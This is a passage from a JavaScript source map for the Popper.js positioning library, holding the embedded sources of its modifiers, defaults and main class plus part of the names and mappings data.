{\n      return data;\n    }\n\n    data.hide = true;\n    data.attributes['x-out-of-boundaries'] = '';\n  } else {\n    // Avoid unnecessary DOM access if visibility hasn't changed\n    if (data.hide === false) {\n      return data;\n    }\n\n    data.hide = false;\n    data.attributes['x-out-of-boundaries'] = false;\n  }\n\n  return data;\n}\n","import getClientRect from '../utils/getClientRect';\nimport getOppositePlacement from '../utils/getOppositePlacement';\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by `update` method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nexport default function inner(data) {\n  const placement = data.placement;\n  const basePlacement = placement.split('-')[0];\n  const { popper, reference } = data.offsets;\n  const isHoriz = ['left', 'right'].indexOf(basePlacement) !== -1;\n\n  const subtractLength = ['top', 'left'].indexOf(basePlacement) === -1;\n\n  popper[isHoriz ? 'left' : 'top'] =\n    reference[basePlacement] -\n    (subtractLength ? popper[isHoriz ? 'width' : 'height'] : 0);\n\n  data.placement = getOppositePlacement(placement);\n  data.offsets.popper = getClientRect(popper);\n\n  return data;\n}\n","import applyStyle, { applyStyleOnLoad } from './applyStyle';\nimport computeStyle from './computeStyle';\nimport arrow from './arrow';\nimport flip from './flip';\nimport keepTogether from './keepTogether';\nimport offset from './offset';\nimport preventOverflow from './preventOverflow';\nimport shift from './shift';\nimport hide from './hide';\nimport inner from './inner';\n\n/**\n * Modifier function, each modifier can have a function of this type assigned\n * to its `fn` property.<br />\n * These functions will be called on each update, this means that you must\n * make sure they are performant enough to avoid performance bottlenecks.\n *\n * @function ModifierFn\n * @argument {dataObject} data - The data object generated by `update` method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {dataObject} The data object, properly modified\n */\n\n/**\n * Modifiers are plugins used to alter the behavior of your poppers.<br />\n * Popper.js uses a set of 9 modifiers to provide all the basic functionalities\n * needed by the library.\n *\n * Usually you don't want to override the `order`, `fn` and `onLoad` props.\n * All the other properties are configurations that could be tweaked.\n * @namespace modifiers\n */\nexport default {\n  /**\n   * Modifier used to shift the popper on the start or end of its reference\n   * element.<br />\n   * It will read the variation of the `placement` property.<br />\n   * It can be one either `-end` or `-start`.\n   * @memberof modifiers\n   * @inner\n   */\n  shift: {\n    /** @prop {number} order=100 - Index used to define the order of execution */\n    order: 100,\n    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n    enabled: true,\n    /** @prop {ModifierFn} */\n    fn: shift,\n  },\n\n  /**\n   * The `offset` modifier can shift your popper on both its axis.\n   *\n   * It accepts the following units:\n   * - `px` or unit-less, interpreted as pixels\n   * - `%` or `%r`, percentage relative to the length of the reference element\n   * - `%p`, percentage relative to the length of the popper element\n   * - `vw`, CSS viewport width unit\n   * - `vh`, CSS viewport height unit\n   *\n   * For length is intended the main axis relative to the placement of the popper.<br />\n   * This means that if the placement is `top` or `bottom`, the length will be the\n   * `width`. In case of `left` or `right`, it will be the `height`.\n   *\n   * You can provide a single value (as `Number` or `String`), or a pair of values\n   * as `String` divided by a comma or one (or more) white spaces.<br />\n   * The latter is a deprecated method because it leads to confusion and will be\n   * removed in v2.<br />\n   * Additionally, it accepts additions and subtractions between different units.\n   * Note that multiplications and divisions aren't supported.\n   *\n   * Valid examples are:\n   * ```\n   * 10\n   * '10%'\n   * '10, 10'\n   * '10%, 10'\n   * '10 + 10%'\n   * '10 - 5vh + 3%'\n   * '-10px + 5vh, 5px - 6%'\n   * ```\n   * > **NB**: If you desire to apply offsets to your poppers in a way that may make them overlap\n   * > with their reference element, unfortunately, you will have to disable the `flip` modifier.\n   * > You can read more on this at this [issue](https://github.com/FezVrasta/popper.js/issues/373).\n   *\n   * @memberof modifiers\n   * @inner\n   */\n  offset: {\n    /** @prop {number} order=200 - Index used to define the order of execution */\n    order: 200,\n    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n    enabled: true,\n    /** @prop {ModifierFn} */\n    fn: offset,\n    /** @prop {Number|String} offset=0\n     * The offset value as described in the modifier description\n     */\n    offset: 0,\n  },\n\n  /**\n   * Modifier used to prevent the popper from being positioned outside the boundary.\n   *\n   * A scenario exists where the reference itself is not within the boundaries.<br />\n   * We can say it has \"escaped the boundaries\" — or just \"escaped\".<br />\n   * In this case we need to decide whether the popper should either:\n   *\n   * - detach from the reference and remain \"trapped\" in the boundaries, or\n   * - if it should ignore the boundary and \"escape with its reference\"\n   *\n   * When `escapeWithReference` is set to`true` and reference is completely\n   * outside its boundaries, the popper will overflow (or completely leave)\n   * the boundaries in order to remain attached to the edge of the reference.\n   *\n   * @memberof modifiers\n   * @inner\n   */\n  preventOverflow: {\n    /** @prop {number} order=300 - Index used to define the order of execution */\n    order: 300,\n    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n    enabled: true,\n    /** @prop {ModifierFn} */\n    fn: preventOverflow,\n    /**\n     * @prop {Array} [priority=['left','right','top','bottom']]\n     * Popper will try to prevent overflow following these priorities by default,\n     * then, it could overflow on the left and on top of the `boundariesElement`\n     */\n    priority: ['left', 'right', 'top', 'bottom'],\n    /**\n     * @prop {number} padding=5\n     * Amount of pixel used to define a minimum distance between the boundaries\n     * and the popper. This makes sure the popper always has a little padding\n     * between the edges of its container\n     */\n    padding: 5,\n    /**\n     * @prop {String|HTMLElement} boundariesElement='scrollParent'\n     * Boundaries used by the modifier. Can be `scrollParent`, `window`,\n     * `viewport` or any DOM element.\n     */\n    boundariesElement: 'scrollParent',\n  },\n\n  /**\n   * Modifier used to make sure the reference and its popper stay near each other\n   * without leaving any gap between the two. Especially useful when the arrow is\n   * enabled and you want to ensure that it points to its reference element.\n   * It cares only about the first axis. You can still have poppers with margin\n   * between the popper and its reference element.\n   * @memberof modifiers\n   * @inner\n   */\n  keepTogether: {\n    /** @prop {number} order=400 - Index used to define the order of execution */\n    order: 400,\n    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n    enabled: true,\n    /** @prop {ModifierFn} */\n    fn: keepTogether,\n  },\n\n  /**\n   * This modifier is used to move the `arrowElement` of the popper to make\n   * sure it is positioned between the reference element and its popper element.\n   * It will read the outer size of the `arrowElement` node to detect how many\n   * pixels of conjunction are needed.\n   *\n   * It has no effect if no `arrowElement` is provided.\n   * @memberof modifiers\n   * @inner\n   */\n  arrow: {\n    /** @prop {number} order=500 - Index used to define the order of execution */\n    order: 500,\n    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n    enabled: true,\n    /** @prop {ModifierFn} */\n    fn: arrow,\n    /** @prop {String|HTMLElement} element='[x-arrow]' - Selector or node used as arrow */\n    element: '[x-arrow]',\n  },\n\n  /**\n   * Modifier used to flip the popper's placement when it starts to overlap its\n   * reference element.\n   *\n   * Requires the `preventOverflow` modifier before it in order to work.\n   *\n   * **NOTE:** this modifier will interrupt the current update cycle and will\n   * restart it if it detects the need to flip the placement.\n   * @memberof modifiers\n   * @inner\n   */\n  flip: {\n    /** @prop {number} order=600 - Index used to define the order of execution */\n    order: 600,\n    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n    enabled: true,\n    /** @prop {ModifierFn} */\n    fn: flip,\n    /**\n     * @prop {String|Array} behavior='flip'\n     * The behavior used to change the popper's placement. It can be one of\n     * `flip`, `clockwise`, `counterclockwise` or an array with a list of valid\n     * placements (with optional variations)\n     */\n    behavior: 'flip',\n    /**\n     * @prop {number} padding=5\n     * The popper will flip if it hits the edges of the `boundariesElement`\n     */\n    padding: 5,\n    /**\n     * @prop {String|HTMLElement} boundariesElement='viewport'\n     * The element which will define the boundaries of the popper position.\n     * The popper will never be placed outside of the defined boundaries\n     * (except if `keepTogether` is enabled)\n     */\n    boundariesElement: 'viewport',\n  },\n\n  /**\n   * Modifier used to make the popper flow toward the inner of the reference element.\n   * By default, when this modifier is disabled, the popper will be placed outside\n   * the reference element.\n   * @memberof modifiers\n   * @inner\n   */\n  inner: {\n    /** @prop {number} order=700 - Index used to define the order of execution */\n    order: 700,\n    /** @prop {Boolean} enabled=false - Whether the modifier is enabled or not */\n    enabled: false,\n    /** @prop {ModifierFn} */\n    fn: inner,\n  },\n\n  /**\n   * Modifier used to hide the popper when its reference element is outside of the\n   * popper boundaries. It will set a `x-out-of-boundaries` attribute which can\n   * be used to hide with a CSS selector the popper when its reference is\n   * out of boundaries.\n   *\n   * Requires the `preventOverflow` modifier before it in order to work.\n   * @memberof modifiers\n   * @inner\n   */\n  hide: {\n    /** @prop {number} order=800 - Index used to define the order of execution */\n    order: 800,\n    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n    enabled: true,\n    /** @prop {ModifierFn} */\n    fn: hide,\n  },\n\n  /**\n   * Computes the style that will be applied to the popper element to gets\n   * properly positioned.\n   *\n   * Note that this modifier will not touch the DOM, it just prepares the styles\n   * so that `applyStyle` modifier can apply it. This separation is useful\n   * in case you need to replace `applyStyle` with a custom implementation.\n   *\n   * This modifier has `850` as `order` value to maintain backward compatibility\n   * with previous versions of Popper.js. Expect the modifiers ordering method\n   * to change in future major versions of the library.\n   *\n   * @memberof modifiers\n   * @inner\n   */\n  computeStyle: {\n    /** @prop {number} order=850 - Index used to define the order of execution */\n    order: 850,\n    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n    enabled: true,\n    /** @prop {ModifierFn} */\n    fn: computeStyle,\n    /**\n     * @prop {Boolean} gpuAcceleration=true\n     * If true, it uses the CSS 3D transformation to position the popper.\n     * Otherwise, it will use the `top` and `left` properties\n     */\n    gpuAcceleration: true,\n    /**\n     * @prop {string} [x='bottom']\n     * Where to anchor the X axis (`bottom` or `top`). AKA X offset origin.\n     * Change this if your popper should grow in a direction different from `bottom`\n     */\n    x: 'bottom',\n    /**\n     * @prop {string} [x='left']\n     * Where to anchor the Y axis (`left` or `right`). AKA Y offset origin.\n     * Change this if your popper should grow in a direction different from `right`\n     */\n    y: 'right',\n  },\n\n  /**\n   * Applies the computed styles to the popper element.\n   *\n   * All the DOM manipulations are limited to this modifier. This is useful in case\n   * you want to integrate Popper.js inside a framework or view library and you\n   * want to delegate all the DOM manipulations to it.\n   *\n   * Note that if you disable this modifier, you must make sure the popper element\n   * has its position set to `absolute` before Popper.js can do its work!\n   *\n   * Just disable this modifier and define your own to achieve the desired effect.\n   *\n   * @memberof modifiers\n   * @inner\n   */\n  applyStyle: {\n    /** @prop {number} order=900 - Index used to define the order of execution */\n    order: 900,\n    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n    enabled: true,\n    /** @prop {ModifierFn} */\n    fn: applyStyle,\n    /** @prop {Function} */\n    onLoad: applyStyleOnLoad,\n    /**\n     * @deprecated since version 1.10.0, the property moved to `computeStyle` modifier\n     * @prop {Boolean} gpuAcceleration=true\n     * If true, it uses the CSS 3D transformation to position the popper.\n     * Otherwise, it will use the `top` and `left` properties\n     */\n    gpuAcceleration: undefined,\n  },\n};\n\n/**\n * The `dataObject` is an object containing all the information used by Popper.js.\n * This object is passed to modifiers and to the `onCreate` and `onUpdate` callbacks.\n * @name dataObject\n * @property {Object} data.instance The Popper.js instance\n * @property {String} data.placement Placement applied to popper\n * @property {String} data.originalPlacement Placement originally defined on init\n * @property {Boolean} data.flipped True if popper has been flipped by flip modifier\n * @property {Boolean} data.hide True if the reference element is out of boundaries, useful to know when to hide the popper\n * @property {HTMLElement} data.arrowElement Node used as arrow by arrow modifier\n * @property {Object} data.styles Any CSS property defined here will be applied to the popper. It expects the JavaScript nomenclature (eg. `marginBottom`)\n * @property {Object} data.arrowStyles Any CSS property defined here will be applied to the popper arrow. It expects the JavaScript nomenclature (eg. `marginBottom`)\n * @property {Object} data.boundaries Offsets of the popper boundaries\n * @property {Object} data.offsets The measurements of popper, reference and arrow elements\n * @property {Object} data.offsets.popper `top`, `left`, `width`, `height` values\n * @property {Object} data.offsets.reference `top`, `left`, `width`, `height` values\n * @property {Object} data.offsets.arrow] `top` and `left` offsets, only one of them will be different from 0\n */\n","import modifiers from '../modifiers/index';\n\n/**\n * Default options provided to Popper.js constructor.<br />\n * These can be overridden using the `options` argument of Popper.js.<br />\n * To override an option, simply pass an object with the same\n * structure of the `options` object, as the 3rd argument. For example:\n * ```\n * new Popper(ref, pop, {\n *   modifiers: {\n *     preventOverflow: { enabled: false }\n *   }\n * })\n * ```\n * @type {Object}\n * @static\n * @memberof Popper\n */\nexport default {\n  /**\n   * Popper's placement.\n   * @prop {Popper.placements} placement='bottom'\n   */\n  placement: 'bottom',\n\n  /**\n   * Set this to true if you want popper to position it self in 'fixed' mode\n   * @prop {Boolean} positionFixed=false\n   */\n  positionFixed: false,\n\n  /**\n   * Whether events (resize, scroll) are initially enabled.\n   * @prop {Boolean} eventsEnabled=true\n   */\n  eventsEnabled: true,\n\n  /**\n   * Set to true if you want to automatically remove the popper when\n   * you call the `destroy` method.\n   * @prop {Boolean} removeOnDestroy=false\n   */\n  removeOnDestroy: false,\n\n  /**\n   * Callback called when the popper is created.<br />\n   * By default, it is set to no-op.<br />\n   * Access Popper.js instance with `data.instance`.\n   * @prop {onCreate}\n   */\n  onCreate: () => {},\n\n  /**\n   * Callback called when the popper is updated. This callback is not called\n   * on the initialization/creation of the popper, but only on subsequent\n   * updates.<br />\n   * By default, it is set to no-op.<br />\n   * Access Popper.js instance with `data.instance`.\n   * @prop {onUpdate}\n   */\n  onUpdate: () => {},\n\n  /**\n   * List of modifiers used to modify the offsets before they are applied to the popper.\n   * They provide most of the functionalities of Popper.js.\n   * @prop {modifiers}\n   */\n  modifiers,\n};\n\n/**\n * @callback onCreate\n * @param {dataObject} data\n */\n\n/**\n * @callback onUpdate\n * @param {dataObject} data\n */\n","// Utils\nimport debounce from './utils/debounce';\nimport isFunction from './utils/isFunction';\n\n// Methods\nimport update from './methods/update';\nimport destroy from './methods/destroy';\nimport enableEventListeners from './methods/enableEventListeners';\nimport disableEventListeners from './methods/disableEventListeners';\nimport Defaults from './methods/defaults';\nimport placements from './methods/placements';\n\nexport default class Popper {\n  /**\n   * Creates a new Popper.js instance.\n   * @class Popper\n   * @param {HTMLElement|referenceObject} reference - The reference element used to position the popper\n   * @param {HTMLElement} popper - The HTML element used as the popper\n   * @param {Object} options - Your custom options to override the ones defined in [Defaults](#defaults)\n   * @return {Object} instance - The generated Popper.js instance\n   */\n  constructor(reference, popper, options = {}) {\n    // make update() debounced, so that it only runs at most once-per-tick\n    this.update = debounce(this.update.bind(this));\n\n    // with {} we create a new object with the options inside it\n    this.options = { ...Popper.Defaults, ...options };\n\n    // init state\n    this.state = {\n      isDestroyed: false,\n      isCreated: false,\n      scrollParents: [],\n    };\n\n    // get reference and popper elements (allow jQuery wrappers)\n    this.reference = reference && reference.jquery ? reference[0] : reference;\n    this.popper = popper && popper.jquery ? popper[0] : popper;\n\n    // Deep merge modifiers options\n    this.options.modifiers = {};\n    Object.keys({\n      ...Popper.Defaults.modifiers,\n      ...options.modifiers,\n    }).forEach(name => {\n      this.options.modifiers[name] = {\n        // If it's a built-in modifier, use it as base\n        ...(Popper.Defaults.modifiers[name] || {}),\n        // If there are custom options, override and merge with default ones\n        ...(options.modifiers ? options.modifiers[name] : {}),\n      };\n    });\n\n    // Refactoring modifiers' list (Object => Array)\n    this.modifiers = Object.keys(this.options.modifiers)\n      .map(name => ({\n        name,\n        ...this.options.modifiers[name],\n      }))\n      // sort the modifiers by order\n      .sort((a, b) => a.order - b.order);\n\n    // modifiers have the ability to execute arbitrary code when Popper.js get inited\n    // such code is executed in the same order of its modifier\n    // they could add new properties to their options configuration\n    // BE AWARE: don't add options to `options.modifiers.name` but to `modifierOptions`!\n    this.modifiers.forEach(modifierOptions => {\n      if (modifierOptions.enabled && isFunction(modifierOptions.onLoad)) {\n        modifierOptions.onLoad(\n          this.reference,\n          this.popper,\n          this.options,\n          modifierOptions,\n          this.state\n        );\n      }\n    });\n\n    // fire the first update to position the popper in the right place\n    this.update();\n\n    const eventsEnabled = this.options.eventsEnabled;\n    if (eventsEnabled) {\n      // setup event listeners, they will take care of update the position in specific situations\n      this.enableEventListeners();\n    }\n\n    this.state.eventsEnabled = eventsEnabled;\n  }\n\n  // We can't use class properties because they don't get listed in the\n  // class prototype and break stuff like Sinon stubs\n  update() {\n    return update.call(this);\n  }\n  destroy() {\n    return destroy.call(this);\n  }\n  enableEventListeners() {\n    return enableEventListeners.call(this);\n  }\n  disableEventListeners() {\n    return disableEventListeners.call(this);\n  }\n\n  /**\n   * Schedules an update. It will run on the next UI update available.\n   * @method scheduleUpdate\n   * @memberof Popper\n   */\n  scheduleUpdate = () => requestAnimationFrame(this.update);\n\n  /**\n   * Collection of utilities useful when writing custom modifiers.\n   * Starting from version 1.7, this method is available only if you\n   * include `popper-utils.js` before `popper.js`.\n   *\n   * **DEPRECATION**: This way to access PopperUtils is deprecated\n   * and will be removed in v2! Use the PopperUtils module directly instead.\n   * Due to the high instability of the methods contained in Utils, we can't\n   * guarantee them to follow semver. Use them at your own risk!\n   * @static\n   * @private\n   * @type {Object}\n   * @deprecated since version 1.8\n   * @member Utils\n   * @memberof Popper\n   */\n  static Utils = (typeof window !== 'undefined' ? window : global).PopperUtils;\n\n  static placements = placements;\n\n  static Defaults = Defaults;\n}\n\n/**\n * The `referenceObject` is an object that provides an interface compatible with Popper.js\n * and lets you use it as replacement of a real DOM node.<br />\n * You can use this method to position a popper relatively to a set of coordinates\n * in case you don't have a DOM node to use as reference.\n *\n * ```\n * new Popper(referenceObject, popperNode);\n * ```\n *\n * NB: This feature isn't supported in Internet Explorer 10.\n * @name referenceObject\n * @property {Function} data.getBoundingClientRect\n * A function that returns a set of coordinates compatible with the native `getBoundingClientRect` method.\n * @property {number} data.clientWidth\n * An ES6 getter that will return the width of the virtual reference element.\n * @property {number} data.clientHeight\n * An ES6 getter that will return the height of the virtual reference element.\n */\n"],"names":["window","document","longerTimeoutBrowsers","timeoutDuration","i","length","isBrowser","navigator","userAgent","indexOf","microtaskDebounce","fn","called","Promise","resolve","then","taskDebounce","scheduled","supportsMicroTasks","isFunction","functionToCheck","getType","toString","call","getStyleComputedProperty","element","property","nodeType","ownerDocument","defaultView","css","getComputedStyle","getParentNode","nodeName","parentNode","host","getScrollParent","body","overflow","overflowX","overflowY","test","isIE11","MSInputMethodContext","documentMode","isIE10","isIE","version","getOffsetParent","documentElement","noOffsetParent","offsetParent","nextElementSibling","isOffsetContainer","firstElementChild","getRoot","node","findCommonOffsetParent","element1","element2","order","compareDocumentPosition","Node","DOCUMENT_POSITION_FOLLOWING","start","end","range","createRange","setStart","setEnd","commonAncestorContainer","contains","element1root","getScroll","side","upperSide","html","scrollingElement","includeScroll","rect","subtract","scrollTop","scrollLeft","modifier","top","bottom","left","right","getBordersSize","styles","axis","sideA","sideB","parseFloat","getSize","computedStyle","Math","max","parseInt","getWindowSizes","getClientRect","offsets","width","height","getBoundingClientRect","e","result","sizes","clientWidth","clientHeight","horizScrollbar","offsetWidth","vertScrollbar","offsetHeight","getOffsetRectRelativeToArbitraryNode","children","parent","fixedPosition","runIsIE","isHTML","childrenRect","parentRect","scrollParent","borderTopWidth","borderLeftWidth","marginTop","marginLeft","getViewportOffsetRectRelativeToArtbitraryNode","excludeScroll","relativeOffset","innerWidth","innerHeight","offset","isFixed","getFixedPositionOffsetParent","parentElement","el","getBoundaries","popper","reference","padding","boundariesElement","boundaries","boundariesNode","isPaddingNumber","getArea","computeAutoPlacement","placement","refRect","rects","sortedAreas","Object","keys","map","key","sort","a","b","area","filteredAreas","filter","computedPlacement","variation","split","getReferenceOffsets","state","commonOffsetParent","getOuterSizes","x","marginBottom","y","marginRight","getOppositePlacement","hash","replace","matched","getPopperOffsets","referenceOffsets","popperRect","popperOffsets","isHoriz","mainSide","secondarySide","measurement","secondaryMeasurement","find","arr","check","Array","prototype","findIndex","prop","value","cur","match","obj","runModifiers","modifiers","data","ends","modifiersToRun","undefined","slice","forEach","warn","enabled","update","isDestroyed","options","positionFixed","flip","originalPlacement","position","isCreated","onCreate","onUpdate","isModifierEnabled","modifierName","some","name","getSupportedPropertyName","prefixes","upperProp","charAt","toUpperCase","prefix","toCheck","style","destroy","removeAttribute","willChange","disableEventListeners","removeOnDestroy","removeChild","getWindow","attachToScrollParents","event","callback","scrollParents","isBody","target","addEventListener","passive","push","setupEventListeners","updateBound","scrollElement","eventsEnabled","enableEventListeners","scheduleUpdate","removeEventListeners","removeEventListener","isNumeric","n","isNaN","isFinite","setStyles","unit","setAttributes","attributes","setAttribute","applyStyle","instance","arrowElement","arrowStyles","applyStyleOnLoad","modifierOptions","computeStyle","legacyGpuAccelerationOption","gpuAcceleration","offsetParentRect","floor","round","prefixedProperty","invertTop","invertLeft","arrow","isModifierRequired","requestingName","requestedName","requesting","isRequired","requested","querySelector","isVertical","len","sideCapitalized","toLowerCase","altSide","opSide","arrowElementSize","center","popperMarginSide","popperBorderSide","sideValue","min","getOppositeVariation","validPlacements","placements","clockwise","counter","index","concat","reverse","BEHAVIORS","flipped","placementOpposite","flipOrder","behavior","FLIP","CLOCKWISE","COUNTERCLOCKWISE","step","refOffsets","overlapsRef","overflowsLeft","overflowsRight","overflowsTop","overflowsBottom","overflowsBoundaries","flippedVariation","flipVariations","keepTogether","toValue","str","size","parseOffset","basePlacement","useHeight","fragments","frag","trim","divider","search","splitRegex","ops","op","mergeWithPrevious","reduce","index2","preventOverflow","transformProp","popperStyles","transform","priority","escapeWithReference","shift","shiftvariation","shiftOffsets","hide","bound","inner","subtractLength","Popper","requestAnimationFrame","debounce","bind","Defaults","jquery","onLoad","Utils","global","PopperUtils"],"mappings":"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